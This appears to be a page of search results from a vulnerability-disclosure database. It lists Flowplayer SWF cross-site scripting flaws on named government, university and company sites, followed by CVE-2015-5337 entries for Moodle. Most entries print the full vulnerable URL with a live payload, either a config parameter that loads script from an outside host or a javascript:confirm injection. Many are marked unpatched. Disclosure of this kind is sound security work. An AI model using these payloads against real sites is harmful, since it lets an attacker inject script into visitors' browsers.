366 matches found
pi.gov.pl XSS vulnerability
Vulnerable URL: http://www.pi.gov.pl/icorlib/flowplayer/3.2.0/flowplayer-3.2.1.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 602623 VIP...
mkidn.gov.pl XSS vulnerability
Vulnerable URL: http://www.mkidn.gov.pl/modules/flvnews/player/flowplayer-3.2.5.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 274867 VIP...
studiapomostowe.mz.gov.pl XSS vulnerability
Vulnerable URL: http://www.studiapomostowe.mz.gov.pl/components/comphocadownload/assets/flowplayer/flowplayer-3.2.2.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicl...
camarasps.rs.gov.br XSS vulnerability
Open Bug Bounty ID: OBB-211030 Description| Value ---|--- Affected Website:| camarasps.rs.gov.br Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...
jeju.go.kr XSS vulnerability
Vulnerable URL: http://www.jeju.go.kr/pub/plugin/SpiderLivePlayer/flowplayer-3.2.18.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| Yes, at 03.07.2017 Latest check for patch:| 03.07.2017 06:02 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...
northyorks.gov.uk XSS vulnerability
Vulnerable URL: http://www.northyorks.gov.uk/flowplayer/flowplayer-3.1.1.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 205683 VIP website...
joewalsh.ca XSS vulnerability
Vulnerable URL: http://www.joewalsh.ca/evp/player/flowplayer-3.2.4/flowplayer-3.2.4.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 10014066...
depts.washington.edu XSS vulnerability
Vulnerable URL: https://depts.washington.edu/pmedic/sites/all/modules/flowplayer/flowplayer/flowplayer.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...
ai.stanford.edu XSS vulnerability
Vulnerable URL: http://ai.stanford.edu/ang/cs294a/flowplayer/flowplayer-3.1.5.swf?config=http://www.birb.online/xss.jshttp://ai.stanford.edu/ang/cs294a/flowplayer/flowplayer-3.1.5.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:|...
tectonics.caltech.edu XSS vulnerability
Vulnerable URL: https://www.tectonics.caltech.edu/movies/flowplayer/flowplayer-3.2.7.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown...
gopost.usps.com XSS vulnerability
Vulnerable URL: https://gopost.usps.com/media/video/flowplayer/swf/flowplayer-3.2.7.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown ...
doc.ri.gov XSS vulnerability
Vulnerable URL: http://www.doc.ri.gov/RIDOCTour/FlowPlayer.swf?config=playList: url: "http://stream.flowplayer.org/bauhaus/624x260.mp4", linkUrl: "javascript:confirm'OPENBUGBOUNTY'"&.swf Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS...
alumni-informatik-dortmund.de XSS vulnerability
Vulnerable URL: https://alumni-informatik-dortmund.de/modules/flowplayer/flowplayer/flowplayer.swf?config=%22clip%22:%22url%22:%22http://stream.flowplayer.org/bauhaus/624x260.mp4%22,%22linkUrl%22:%22javascript:confirm%28String.fromCharCode%2879,80,69,78,66,85,71,66,79,85,78,84,89%29%29;%22&.swf...
bioness.com XSS vulnerability
Vulnerable URL: https://www.bioness.com/prebuilt/flash/FlowPlayer.swf?config=playList:%20%20url:%20%22http://stream.flowplayer.org/bauhaus/624x260.mp4%22,%20linkUrl:%20%22javascript:confirm%28%27OPENBUGBOUNTY%27%29%22&.swf Details: Description| Value ---|--- Patched:| No Latest check for patch:|...
Moodle < 2.7.11 / 2.8.x < 2.8.9 / 2.9.x < 2.9.3 Multiple Vulnerabilities
Binary data 9191.prm...
The vulnerability of the Moodle learning management system allows attackers to carry out XSS attacks.
The vulnerability of the Moodle learning management system is related to the insufficient restrictions on the use of the Flowplayer component. Exploiting this vulnerability could allow a malicious actor to carry out XSS attacks using a specially created .swf file...
CVE-2015-5337
Moodle through 2.6.11, 2.7.x before 2.7.11, 2.8.x before 2.8.9, and 2.9.x before 2.9.3 does not properly restrict the availability of Flowplayer, which allows remote attackers to conduct cross-site scripting XSS attacks via a crafted .swf file...
CVE-2015-5337
Moodle through 2.6.11, 2.7.x before 2.7.11, 2.8.x before 2.8.9, and 2.9.x before 2.9.3 does not properly restrict the availability of Flowplayer, which allows remote attackers to conduct cross-site scripting XSS attacks via a crafted .swf file...
Cross site scripting
Moodle through 2.6.11, 2.7.x before 2.7.11, 2.8.x before 2.8.9, and 2.9.x before 2.9.3 does not properly restrict the availability of Flowplayer, which allows remote attackers to conduct cross-site scripting XSS attacks via a crafted .swf file...
UBUNTU-CVE-2015-5337
Moodle through 2.6.11, 2.7.x before 2.7.11, 2.8.x before 2.8.9, and 2.9.x before 2.9.3 does not properly restrict the availability of Flowplayer, which allows remote attackers to conduct cross-site scripting XSS attacks via a crafted .swf file...